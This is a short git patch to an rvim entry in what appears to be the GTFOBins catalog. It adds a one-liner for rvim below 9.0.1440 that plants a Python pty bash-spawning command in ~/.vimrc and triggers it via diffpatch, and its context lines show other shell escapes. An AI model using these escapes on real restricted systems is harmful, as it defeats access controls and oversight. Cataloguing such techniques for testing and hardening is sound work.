From 1894142c8a9b03e33a81c5f99e5868e577dd73c0 Mon Sep 17 00:00:00 2001 From: Lucas VAN HAAREN Date: Mon, 25 Sep 2023 16:18:01 +0200 Subject: [PATCH] adds rvim redir and diffpatch trick --- _gtfobins/rvim.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/_gtfobins/rvim.md b/_gtfobins/rvim.md index c23f3e2..3b1951e 100644 --- a/_gtfobins/rvim.md +++ b/_gtfobins/rvim.md @@ -1,6 +1,8 @@ --- functions: shell: + - description: This requires that `rvim` version is `< 9.0.1440`. + code: rvim -c ':redir! > ~/.vimrc | echo "!python3 -c \'import pty; pty.spawn(\"/bin/bash\")\'" | redir END | set shell=/usr/bin/vim | diffpatch' - description: This requires that `rvim` is compiled with Python support. Prepend `:py3` for Python 3. code: rvim -c ':py import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' - description: This requires that `rvim` is compiled with Lua support.